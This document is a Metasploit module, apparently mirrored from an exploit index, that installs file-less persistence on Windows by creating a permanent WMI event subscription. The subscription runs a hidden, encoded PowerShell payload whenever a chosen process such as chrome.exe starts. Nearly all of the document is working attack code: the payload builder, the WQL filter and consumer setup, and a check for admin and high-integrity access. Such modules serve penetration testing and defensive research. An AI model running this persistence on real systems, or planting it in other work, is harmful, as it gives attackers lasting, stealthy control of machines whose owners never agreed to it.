Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-WINDOWS-PERSISTENCE-WMI-WMI_EVENT_SUBSCRIPTION_PROCESS-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::Windows::Powershell
  include Msf::Exploit::Powershell
  include Post::Windows::Priv
  include Msf::Post::File
  include Msf::Exploit::Local::Persistence
  include Msf::Exploit::Deprecated
  moved_from 'exploits/windows/local/wmi_persistence' # previously the "PROCESS" wmi_persistence method

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WMI Event Subscription Process Persistence',
        'Description' => %q{
          This module will create a permanent WMI event subscription to achieve file-less persistence using an event filter
          that triggers the payload when the specified process is started.

          Additionally a custom command can be specified to run once the trigger is
          activated using the advanced option CustomPsCommand. This module requires administrator level privileges as well as a
          high integrity process. It is also recommended to use staged payloads due to powershell script length limitations.

          Many built-in apps on Windows 10/11 launch via a modern UWP app (Win32Bridge.Server.exe or ApplicationFrameHost.exe),
          not the legacy binary (like calc.exe). If you pick one of these apps, like calc.exe, it can still be triggered
          from command line, however GUI execution will not work.

          Duplicate CLASSNAMEs will not overwrite, so if the env isn't cleaned up before
          re-exploitation, the exploitation will fail.

          Tested and works being launched from GUI (windows 10):
          chrome.exe (several shells at once)
          calc.exe (only from command line calc.exe or calc)
          msedge.exe (several shells at once)
          cmd.exe
        },
        'Author' => [
          'Nick Tyrer <@NickTyrer>', # original module
          'h00die' # docs, persistence mixin, pshell cleanup
        ],
        'License' => MSF_LICENSE,
        'Privileged' => true,
        'Platform' => 'win',
        'SessionTypes' => ['meterpreter'],
        'Targets' => [['Windows', {}]],
        'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
        'DisclosureDate' => '2017-06-06',
        'DefaultTarget' => 0,
        'References' => [
          ['URL', 'https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf'],
          ['URL', 'https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/'],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1546_003_WINDOWS_MANAGEMENT_INSTRUMENTATION_EVENT_SUBSCRIPTION]
        ],
        'Notes' => {
          'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('PROCESS_TRIGGER',
                    [true, 'The process name to trigger the payload.', 'chrome.exe' ]),
      OptString.new('CLASSNAME',
                    [true, 'WMI event class name.', 'UPDATER' ])
    ])

    register_advanced_options(
      [
        OptString.new('CustomPsCommand',
                      [false, 'Custom powershell command to run once the trigger is activated. (Note: some commands will need to be enclosed in quotes)', false, ]),
      ]
    )

    deregister_options('WritableDir')
  end

  def check
    return CheckCode::Safe('This module requires powershell to run') unless have_powershell?

    return CheckCode::Safe('This module requires admin privs to run') unless is_admin?

    return CheckCode::Safe('This module cannot run as System') if is_system?

    return CheckCode::Safe('This module requires UAC to be bypassed first') unless is_high_integrity?

    CheckCode::Appears('Likely exploitable')
  end

  def install_persistence
    psh_exec(subscription_process)
    print_good "Persistence installed! Call a shell by starting #{datastore['PROCESS_TRIGGER']}"
    # wmic will be removed Windows 11, version 25H2 or Windows 11, version 24H2 in favor of powershell
    # source https://support.microsoft.com/en-us/topic/windows-management-instrumentation-command-line-wmic-removal-from-windows-e9e83c7f-4992-477f-ba1d-96f694b8665d
    # @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
    # @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
    # @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
    class_name = datastore['CLASSNAME']
    @clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -Class __FilterToConsumerBinding | Where-Object { \\$_.Filter -match '\\(Name = \\\\\\\"#{class_name}\\\\\\\"\\)' -or \\$_.Consumer -match '\\(Name = \\\\\\\"#{class_name}\\\\\\\"\\)' } | ForEach-Object { Remove-CimInstance -InputObject \\$_ -ErrorAction SilentlyContinue }\\\""\n)
    @clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -Class CommandLineEventConsumer | Where-Object { \\$_.Name -eq '#{class_name}' } | ForEach-Object { Remove-CimInstance -InputObject \\$_ -ErrorAction SilentlyContinue }\\\""\n)
    @clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -Class __EventFilter | Where-Object { \\$_.Name -eq '#{class_name}' } | ForEach-Object { Remove-CimInstance -InputObject \\$_ -ErrorAction SilentlyContinue }\\\""\n)
  end

  def build_payload
    if datastore['CustomPsCommand']
      script_in = datastore['CustomPsCommand']
      compressed_script = compress_script(script_in)
      encoded_script = encode_script(compressed_script)
      generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: encoded_script)
    else
      cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
    end
  end

  def subscription_process
    command = build_payload
    class_name = datastore['CLASSNAME']
    process_name = datastore['PROCESS_TRIGGER']
    <<-HEREDOC
    $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= '#{process_name}'\"; QueryLanguage = 'WQL'}
    $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
    HEREDOC
  end
end